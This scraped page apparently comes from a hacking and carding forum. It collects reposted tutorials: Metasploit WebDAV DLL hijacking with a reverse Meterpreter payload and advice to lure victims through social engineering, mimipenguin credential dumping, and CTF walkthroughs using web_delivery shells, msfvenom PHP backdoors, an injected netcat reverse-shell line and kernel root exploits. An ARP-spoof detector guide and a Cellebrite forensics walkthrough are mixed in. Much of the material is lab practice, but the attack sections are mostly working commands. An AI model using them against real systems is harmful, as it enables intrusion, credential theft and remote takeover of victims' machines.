ARP spoofing allows an attacker to intercept data frames on a network, modify the traffic, or stop all traffic. Often the attack is used as an opening for other attacks, such as denial of service, a man in the middle, or session hijacking attacks. Our anti- ARP spoofing program, (shARP) detects the presence of a third-party in a private network actively. It has 2 modes: defensive and offensive.

Defensive mode protects the end-user from the spoofer by disconnecting the user’s system from the network and alerts the user by an audio message.
Offensive mode disconnects the user’s system from the network and further kicks out the attacker by sending de-authentication packets to his system, unable him to reconnect to the network until the program is manually reset.

The program creates a log file (/usr/shARP/) containing the details of the attack such as the attackers Mac address, Mac vendor time and date of the attack. We can identify the NIC of the attacker’s system with the help of the obtained Mac address. If required the attacker can be permanently banned from the network by feeding his Mac address to the block list of the router.
Let’s start!
Open the terminal in Kali Linux and type following command to download it
git clone

[To see content please register here]

1
git clone

[To see content please register here]

If the user wants to secure his network by scanning for any attacker he can run the program. The program offers a simple command line interface which makes it easy for the new users. Now type the following command to run this program:
chmod 777 shARP.sh
./shARP.sh -h
1
2
chmod 777 shARP.sh
./shARP.sh -h
[Image: 2.png?w=687&ssl=1]

Then we had used zanti for sniffing in the network and start MIMT attack on selected target IP: 192.168.1.9 so that we can view its network traffic.
[Image: 3.1.png?w=687&ssl=1]

When the user runs the program in defensive mode, As soon as the program detects a spoofer in the network, and it disconnects the user’s system from the network so as to protect the private data being transferred between the system and the server. It also saves a log file about the attacker for further use.
./shARP.sh -d eth0
1
./shARP.sh -d eth0
From the screenshot you can the highlighted text is showing the Mac address of android phone trying to perform spoofing.
[Image: 3.png?w=687&ssl=1]

So when it finds spoofing in the network, it disconnects the user from the network. From the screenshot, you can see now the user is assigned with its localhost IP.
[Image: 4.png?w=687&ssl=1]

Through this article, you will learn about WebDAV application DLL hijacking exploitation using the Metasploit framework and to hack the victim through malicious code execution.
Attacker: Kali Linux
Target: Window 7 (torrent)
Let’s start!!!
Open the terminal and type msfconsole to load the Metasploit framework.
[Image: 1.png?w=687&ssl=1]

This module presents a directory of file extensions that can lead to code execution when opened from the share. The default EXTENSIONS option must be configured to specify a vulnerable application type.
use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) >set payload windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) >set lhost 192.168.0.107
msf exploit(webdav_dll_hijacker) >set extensions torrent
msf exploit(webdav_dll_hijacker) >exploit
1
2
3
4
5
use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) >set payload windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) >set lhost 192.168.0.107
msf exploit(webdav_dll_hijacker) >set extensions torrent
msf exploit(webdav_dll_hijacker) >exploit
It has generated a malicious code which you can perceive from screenshots highlighted text \\192.168.0.107\documents\, so now being an attacker you are suggested to share this link to your targeted client using social engineering.
[Image: 2.png?w=687&ssl=1]

Once you have shared malicious code link to the client, now when the client will open the link he will be intended to a document folder with many file extensions and the attacker will receive his meterpreter session.
[Image: 3.png?w=687&ssl=1]

Hence meterpreter session 1 opened successfully now we are connected with the target through port 4444.
msf exploit(webdav_dll_hijacker) >sessions 1
meterpreter> sysinfo
1
2
msf exploit(webdav_dll_hijacker) >sessions 1
meterpreter> sysinfo
NOW TRY YOURSELF GOOD LUCK!!!
[Image: 4.png?w=687&ssl=1]

Hello friends! Through this article, we are introducing a new tool MINIPENUIN between us, which can utilize for fetching login of the Linux system in the same way as MIMIKATZ.
A tool to dump the login password from the current Linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz.
Takes advantage of clear text credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. Will attempt to calculate each word’s probability by checking hashes in /etc/shadow, hashes in memory, and regex searches.
Let’s begin
Open the terminal and type following command to download it from git hub.
cd Desktop
git clone

[To see content please register here]

1
2
cd Desktop
git clone

[To see content please register here]

ls
cd mimipenguin
1
2
ls
cd mimipenguin
[Image: 2.png?w=687&ssl=1]

Now run the bash file to catch the clear text credential

./mimipenguin.sh
1
./mimipenguin.sh
From the screenshot, you can see I have got login credential root: toor.
[Image: 3.png?w=687&ssl=1]

[Guide] How to Hack the Nightmare VM (CTF Challenge)

Posted by: NINZA - 05-02-2020, 11:37 AM - Forum: Carders Home - No Replies

Today we are going to solve Wallaby’s Nightmare CTF which is a new VM challenge of vulnhub where the attacker has to achieve root flag of the targeted VM machine; you can download it from

[To see content please register here]

.
Table of Content

Network Scanning (Netdiscover, Nmap)
Abusing HTTP service for LFI Vulnerability
Web Directory Enumeration (Dirb)
Exploiting RCE (Metasploit)
Kernel Privilege Escalation

Let’s Begin!
As we always start from the network so that we can have a target IP. In your Kali Linux open the terminal and type netdiscover, now from the screenshot you can see a list of IP. Here 192.168.0.101 is my target IP.
[Image: 1.png?w=687&ssl=1]

Enumerate the target through aggressive scan; type following command for nmap scanning:
nmap -p- -A 192.168.0.101
1
nmap -p- -A 192.168.0.101
So here I found three ports 22, 80, 6667 are open.
[Image: 2.png?w=687&ssl=1]

Since port 80 is open I look toward browser and explore target IP 192.168.0.101 where I found a comment “enter a username to get started with this CTF” then I type the name “RAJ” and click on submit so that we could move forward into start the game.
[Image: 3.png?w=687&ssl=1]

When I clicked on submit tab is linked to next web page where you can read the assigned username for this CTF from screenshot now we can start this CTF when we will click on given link start the CTF!
[Image: 4.png?w=687&ssl=1]

Next web page open with an exclusive warning that Mr. Wallaby found raj is trying to penetrate inside the server so user “raj” is under his observation. Then soon after reading this threat, I observe at its URL I thought it might be vulnerable to etc/passwd same as LFI attack.
[Image: 5.png?w=687&ssl=1]

Then I try browse following in URL 192.168.1.101/?page=/etc/passwd though the web page stands up with raw data nothing was quite useful on this web page. And when I refresh it I lose connection from port 80. As raj was threatened by Wallaby ?
[Image: 6.png?w=687&ssl=1]

Again I move toward nmap so that I can make sure about port 80 but here I found a new port 60080 is open for http service as you can perceive this thing from the given screenshot.
[Image: 7.png?w=687&ssl=1]

Then I next to my next tool dirb
dirb

[To see content please register here]

=
1
dirb

[To see content please register here]

=
Now from the screenshot, you can see the result and currently we will look toward highlighted directory.
[Image: 8.png?w=687&ssl=1]

So when I browse 192.168.0.101:60080/?page=mailer in URL the resultant web page gets opened and I found nothing special here except “coming soon, guys!”
[Image: 9.png?w=687&ssl=1]

Then I look after page source code to get some clue, here inside HTML code the anchor tag contains a link for another file which you can see from the screenshot.
[Image: 10.png?w=687&ssl=1]

Again I browse above highlighted text 192.168.0.101:60080/?mailer&mail=pwd in URL and the web page comes outside with /var/www/html
Hence we can say that the current page might good for executing malicious comment as a command.
[Image: 11.png?w=687&ssl=1]

Now load Metasploit framework to connect with the victim through reverse connection
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>set lhost 192.168.0.106
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>exploit
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)>set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)>set lhost 192.168.0.106
msf exploit (web_delivery)>set lport 4444
msf exploit (web_delivery)>exploit
Now copy the generated command php….UvrG’));” and send it to target
[Image: 12.png?w=687&ssl=1]

From the screenshot, you can see I have pasted above malicious PHP comment inside URL in hope to get a reverse connection inside Metasploit.
[Image: 13.png?w=687&ssl=1]

So when I execute this comment I receive meterpreter session and get connected with victim shell
meterpreter> sysinfo
meterpreter> shell
1
2
meterpreter> sysinfo
meterpreter> shell

Code:
The contents of this section are hidden for your group

Register or Login

Now use “Dirty cow exploit” therefore type the following command to download this exploit inside tmp folder of the victim.
wget

[To see content please register here]

1
wget

[To see content please register here]

Now type the following command to compile your exploit so that it can run successfully inside.
gcc cowroot.c –o cowroot -pthread
1
gcc cowroot.c –o cowroot -pthread
[Image: 16.png?w=687&ssl=1]

Now we can run our exploit to achieve root permission and try to capture the flag
./cowroot
id
cd /root
ls
cat flag.txt
1
2
3
4
5
./cowroot
id
cd /root
ls
cat flag.txt
Congratulation!!! We have captured the flag which you can see from the screenshot and beat this task………..
[Image: 17.png?w=687&ssl=1]

Hi friends! Today we are going to face Bot challenge in new VM machine of vulnhub design by Mr. Brian Wallace. In this tutorial you will how to access root privilege by generating malicious bot. you can download this challenge from

[To see content please register here]

.
Let’s start!!!
Open the terminal of Klai Linux to Identify the target in your network using netdiscover command.
netdiscover
1
netdiscover
From screenshot you can see the highlighted target IP : 192.168.1.105
[Image: 1.png?w=687&ssl=1]

Enumerate open port of targeted IP using nmap therefore type following command:
nmap -p- -Pn 192.168.1.105
1
nmap -p- -Pn 192.168.1.105
From its scanning result we come to know that port 22, 80, 111, 55844 are open ports.
[Image: 2.1.png?w=687&ssl=1]

Seeing as port 80 is open I come across towards browser and look at target IP 192.168.1.105. Here the web page was pointing out towards two more different links “Panel” and “Dexter Analysis for a different botnet”.
When I visit to second link it was redirected to another website and I found this link is not for our use but when I click on “panel” this linked me to a login page.
[Image: 2.png?w=687&ssl=1]

So now I was at login page and I have no idea for its username: password here I also try sql login form injection but couldn’t breach this login page.
[Image: 3.png?w=687&ssl=1]

Now next I choose dirbuster for directory brute force attack to step forward in expectation to get some directories inside it.
[Image: 5.png?w=687&ssl=1]

From screenshot you can perceive the files and directories which I found through brute force attack. Next we need to explore these directories in browser so that we can find our any clue to breach login page.
[Image: 6.png?w=687&ssl=1]

I start with upload.php where we can upload our malicious file or backdoor as you can see from screenshot I try to upload hacked.php file but nothing happened. Then I try to explore another directory but unable to find any clue regarding this task.
When I investigate more, then after wasting much I found apart from all directories only gateway.php was suffering from blind SQL injection vulnerable but here the post parameter was encoded with base 64.
[Image: 7.png?w=687&ssl=1]

Now attacker has two options either configure sqlmap to retrieve credential or download relevant exploit Dexter Casino Loader SQL Injection given by Brian Wallace. I had use this exploit to find out login credential. You can download it from

[To see content please register here]

Once you have downloaded it then type following command in terminal:
python 31686.py dump

[To see content please register here]

1
python 31686.py dump

[To see content please register here]

Now you will get login credential for bot panel.
[Image: 10.png?w=687&ssl=1]

Then I typed above fetched username and password into login form.
[Image: 11.png?w=687&ssl=1]

The panel has three basic features; bot control, dump viewer, and file upload. Without wasting time I click on upload options.
[Image: 12.png?w=687&ssl=1]

Now again I will try to upload php backdoor so that we get reverse connection of target system.
[Image: 13.png?w=687&ssl=1]

Now use msfvenom to generate malicious PHP script and type following command.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 –f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 –f raw
From screenshot you can read the generated PHP script, at this instant we need to copy the text highlighted text further we will past it inside text document and saved with shell.php and multi handler inside metasploit.
[Image: 14.png?w=687&ssl=1]

Now go back to upload directory and upload shell.php now you can see from given image the shell.php file is successfully upload inside /panel/exes.
[Image: 15.png?w=687&ssl=1]

Here we are going to execute shell.php which gives reverse connection in metasploit framework.
192.168.0.105/panel/exes
1
192.168.0.105/panel/exes
[Image: 16.png?w=687&ssl=1]

Awesome! We have victim’s metrepreter session
metrepreter > ls
metrepreter > cd /var/www
metrepreter > ls
1
2
3
metrepreter > ls
metrepreter > cd /var/www
metrepreter > ls
Inside /var/www I found my bot file antitamper.list, now first we will download it
metrepreter >download antitamper.list /root/Desktop
1
metrepreter >download antitamper.list /root/Desktop
[Image: 17.png?w=687&ssl=1]

Here you can read the downloaded file then add you malicious bot inside it
[Image: 18.png?w=687&ssl=1]

Now I have add my malicious bot then upload it again inside /var/www and start netcat for reverse connection then run antitamper.py
"shell": "'; /bin/nc -e /bin/sh 192.168.1.104 4444 #",
1
"shell": "'; /bin/nc -e /bin/sh 192.168.1.104 4444 #",
[Image: 19.png?w=687&ssl=1]

nc –nlvp 4444
id
1
2
nc –nlvp 4444
id
Hurray!!! We have got root connection.
[Image: 20.png?w=687&ssl=1]

Top HatSec built a VM image “Fartknocker” and kept the challenge to capture the flag in his machine. This VM box is mainly designed for testing your network penetration skills, before solving this challenge you must know about network packet analysis and port knocking.
Let’s begin!
Scan your network using the netdiscover command I found an IP address 192.168.1.25 in my network.
[Image: 1.png?w=687&ssl=1]

Enumerate the target through aggressive scan; type following command for nmap scanning:
nmap -p- -A 192.168.1.25
1
nmap -p- -A 192.168.1.25
So here I found only single port 80 is open
[Image: 2.png?w=687&ssl=1]

Since port 80 is open I look toward browser and explore target IP 192.168.1.25, here I got a Link “Woah” without wasting time I just clicked on it.
[Image: 3.png?w=687&ssl=1]

Link Woah contains a pcap1.pcap file; I download it to find out some clue.
[Image: 4.png?w=687&ssl=1]

This file open with Wireshark here I distinguish that VM box trying to connect over TCP ports 7000, 8000, and 9000. Behind the machine efforts on those 3 ports it gets discarded and some obstructed attempts on a connection RST, ACK; when I dig out more I found this technique is known as port knocking.
Port 7000 is used for connection but rejected.
[Image: 5.png?w=687&ssl=1]

Port 8000 is used for connection but rejected.
[Image: 6.png?w=687&ssl=1]

Port 9000 is used for connection but rejected.
[Image: 7.png?w=687&ssl=1]

Now send packets to 7000, 8000, 9000 so that these ports sequence will open another port. Therefore type the following command for nmap to perform a Sequential Port Scan.
nmap -r -p 7000,8000,9000 192.168.1.25
1
nmap -r -p 7000,8000,9000 192.168.1.25
[Image: 8.png?w=687&ssl=1]

Once again scan target machine using aggressive scan.
nmap -p- -A 192.168.1.25
1
nmap -p- -A 192.168.1.25
Great! Here we can see 8888 is open now and from the screenshot, you read a new directory /burgerworld/
[Image: 9.png?w=687&ssl=1]

Then I run towards browser to explore 192.168.1.25/burgerworld/ this time again I found another link heheh..hehh that contains one more pcap file again I download that pcap2.pcap file.
[Image: 10.png?w=687&ssl=1]

Now the game is very clear Top HatSec had involved port knowing at each step, again I opened the pcap2 file with Wireshark but this time I didn’t found any port knocking sequence, therefore, I randomly select a packet to follow it TCP stream. Here you can select any packet to make right click on it and choose to follow option.
[Image: 11.png?w=687&ssl=1]

TCP stream captured the following image point towards another clue through CAN YOU UNDERSTAND MY MESSAGE!
Hush! His message was in the German language!
[Image: 12.png?w=687&ssl=1]

When I translate it I got one three three seven. This port 1337 could be another knocking port.
[Image: 13.png?w=687&ssl=1]

Again type the following command for nmap to perform a Sequential Port Scan.
nmap -r -p 1337 192.168.1.25
1
nmap -r -p 1337 192.168.1.25
Oooh!!! It is showing waste service means to perform a Sequential Port Scan fail to knock 1337.
[Image: 14.png?w=687&ssl=1]

Use another way “netcat” to knock port 1337:
nc -nv 192.168.1.25 1337
1
nc -nv 192.168.1.25 1337
But connection refused now try the single port number.
nc –nv 192.168.1.25 1
nc –nv 192.168.1.25 3
nc –nv 192.168.1.25 3
nc –nv 192.168.1.25 7
1
2
3
4
nc –nv 192.168.1.25 1
nc –nv 192.168.1.25 3
nc –nv 192.168.1.25 3
nc –nv 192.168.1.25 7
Finally, port 1337 get opened which points towards /iamcornholio/
[Image: 15.png?w=687&ssl=1]

Now Explore
192.168.1.25/iamcornholio/
1
192.168.1.25/iamcornholio/
This time I found a base 64 encode string which should be decoded so that we can move forward.
[Image: 16.png?w=687&ssl=1]

I took the help of burp suite to decode this string “T3BlbiB1cCBTU0g6IDg4ODggOTk5OSA3Nzc3IDY2NjYK” and what I found was quite interesting.
Open up SSH: 8888 9999 7777 6666
[Image: 17.png?w=687&ssl=1]

Again Use “netcat” to knock the following port:
nc –nv 192.168.1.25 8888
nc –nv 192.168.1.25 9999
nc –nv 192.168.1.25 7777
nc –nv 192.168.1.25 6666
1
2
3
4
nc –nv 192.168.1.25 8888
nc –nv 192.168.1.25 9999
nc –nv 192.168.1.25 7777
nc –nv 192.168.1.25 6666
[Image: 18.png?w=687&ssl=1]

From the screenshot you can I have used version scan for the target.
nmap -sV 192.168.1.25
1
nmap -sV 192.168.1.25
Awesome port 22 is opened for SSH
[Image: 19.png?w=687&ssl=1]

Now try to connect with the target through
ssh -l butthead 192.168.1.25 /bin/bash
1
ssh -l butthead 192.168.1.25 /bin/bash
Here I got successfully login now type the following command
ls
uname -a
1
2
ls
uname -a
I Found kernel version 3.13.0 now let’s find out whether there is an exploit related to its present or not.
[Image: 21.png?w=687&ssl=1]

With the help of Google, I found an exploit from the screenshot you can see the link for “ofs 32” click on it to download this exploit that allows a local user to take administration privilege.
[Image: 22.png?w=687&ssl=1]

Now type the following command to download ofs 32 inside the victim’s system and then achieve root privileges to capture the flag.
wget

[To see content please register here]

ls
./ofs_32
1
2
3
wget

[To see content please register here]

ls
./ofs_32
[Image: 23.png?w=687&ssl=1]

id
cd /root
ls
cat secretz
SECRET = "LIVE LONG AND PROSPER, REST IN PEACE MR. SPOCK"
1
2
3
4
5
id
cd /root
ls
cat secretz
SECRET = "LIVE LONG AND PROSPER, REST IN PEACE MR. SPOCK"
!!This was very curies and most challenging machine!!
[Image: 24.png?w=687&ssl=1]

The manifold increase in the mobile penetration amongst the world population has interested people from all works of life namely mobile manufactures, service providers, application developers and more to this industry. Thequantum jump inthe user base and its usage of mobile has even caught the eye of Forensic Experts.
[Image: 1.png?w=687&ssl=1]

In this article we will conduct a mobile investigation of ONE Plus mobile model by applying Cellebrite UFED software.
As a preliminary process, adjustments need to be undertaken on the mobile model under surveillance. The investigator attaches the mobile to his/her laptop through the phone cable.The investigator needs to open the ‘About Phone’ section under Setting and scroll down the various options till he reaches the ‘Build Option’, he needs to tap the ‘Build Option’ seven (7) times which opens a new section – the ‘Developer Option’. Before commencing Cellebrite software, the investigator must check whether the mobile commands ‘Stay Awake’ and Debugging (USB debugging) are ON.
[Image: 0.jpg?w=687&ssl=1]

After completing the following steps, the investigator inserts the licensed Cellebrite USB Key in the laptop which displays five choices namely- Mobile device, SIM Card, USB device or Memory Card, UFED Camera and Device Tool.
We choose ONE Plus mobile model to demonstrate the Cellebrite software. After configuration the software on the laptop, the software displayed seven ONE Plus models to select our model.
[Image: 2.png?w=687&ssl=1]

Since our mobile is ONE Plus 3 A3003 model, we put it for the forensic investigation. In order to gather information, the Cellebrite software provided us with five ‘Extraction’ choices ranging from Logical Extraction, File System Extraction, Physical Extraction (Root), Capture Images, Capture Screen Shots which are easy to understand and implement.
It is recommended that the investigator must click on Logical Extraction followed by Physical Extraction to gather information.
[Image: 4.png?w=687&ssl=1]

For our demonstration, we selected the Logical Extraction and selected three types of information from the Phone Memory likePhone (Phone Book), SIM (Phone Book) and Phone (Content) and press Next.
[Image: 5.png?w=687&ssl=1]

The Logical Extraction gave a further choice to select the type of information from the Phone Memory namely Contacts, SMS, MMS, Calendar, Apps Data, Pictures, Audio/Music, Videos, Ringtones and Call Logs.
[Image: 7.png?w=687&ssl=1]

The software sends a ‘pop up’ message and in order to move further the investigator needs to click on YES.
[Image: 9.1.jpg?w=687&ssl=1]

From the Contacts account we extracted contacts from Gmail, Face book messenger and Whatsapp as displayed below.
[Image: 9.png?w=687&ssl=1]

The Cellebrite software provides the investigator with source instructions to proceed further on the case by just clicking on the ‘How to?’
[Image: 10.png?w=687&ssl=1]

The Logical Phone Extraction was completed successfully. The details of the number of information gathered from Phonebook, SMS, and Call Logs from the mobile under forensic investigation is highlighted.
[Image: 11.png?w=687&ssl=1]

The software displays another pop up ‘PA Evidence Collection.ufdx’ along with the Logical 01 folder for the investigator
[Image: 12.png?w=687&ssl=1]

The UFED Physical Analyzer report of the mobile phone was captured by Cellebrite. The analyser captured content of the mobile model information ranging from the model name, IMEI, ICCID, MSISDN, IMSI to name a few.
[Image: 13.png?w=687&ssl=1]

Before making the final report, a case management form needs to be filled up by the investigator which provides –the case number, name, evidence number, examiner name, department, location, notes, name of the report, document details, project name as well as format. The report will be submitted in PDF or word or any other format. The final report is generated by pressing Next command.
[Image: 14.png?w=687&ssl=1]

Summary of the Cellebrite UFED report on mobile under forensic investigation.
[Image: 15.png?w=687&ssl=1]

My List of Image Hosting Sites (2020)

Posted by: ~~hacxx~~ - 05-01-2020, 11:00 AM - Forum: Hacking - Replies (1)

Here is my list of Image Hosting sites that i'm using to share images online.
An image hosting service allows individuals to upload images and share in emails, sites, blogs or forums.

View my list

[To see content please register here]

For Webmasters - Ad networks, cpa, popups, banners & more...

Posted by: ~~hacxx~~ - 04-30-2020, 01:41 PM - Forum: Earnings schemes - No Replies

Here is my list of Ad Networks, CPA, Popups, banners & more. Register as a publisher and start making money.

View list

[To see content please register here]

JavaScript Teacher V3 - Learn Javascript with examples

Posted by: ~~hacxx~~ - 04-30-2020, 09:25 AM - Forum: Hacking Tools - No Replies

[Image: print.jpg]

This is a preview release...

Javascript Teacher V3 is a program that teach javascript with examples. You can learn javascript by copying the examples to notepad and changing the source to test and learn. All you have to do is select what you want to learn and what example you want to use and save as html. All the examples are tested and approved to work in modern browsers.

Download 1:

[To see content please register here]

Download 2:

[To see content please register here]

Virus Scan:
The file is in plain text.

Pages ({1}): « Previous 1 … 858 859 860 861 862 … 1224 Next »

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis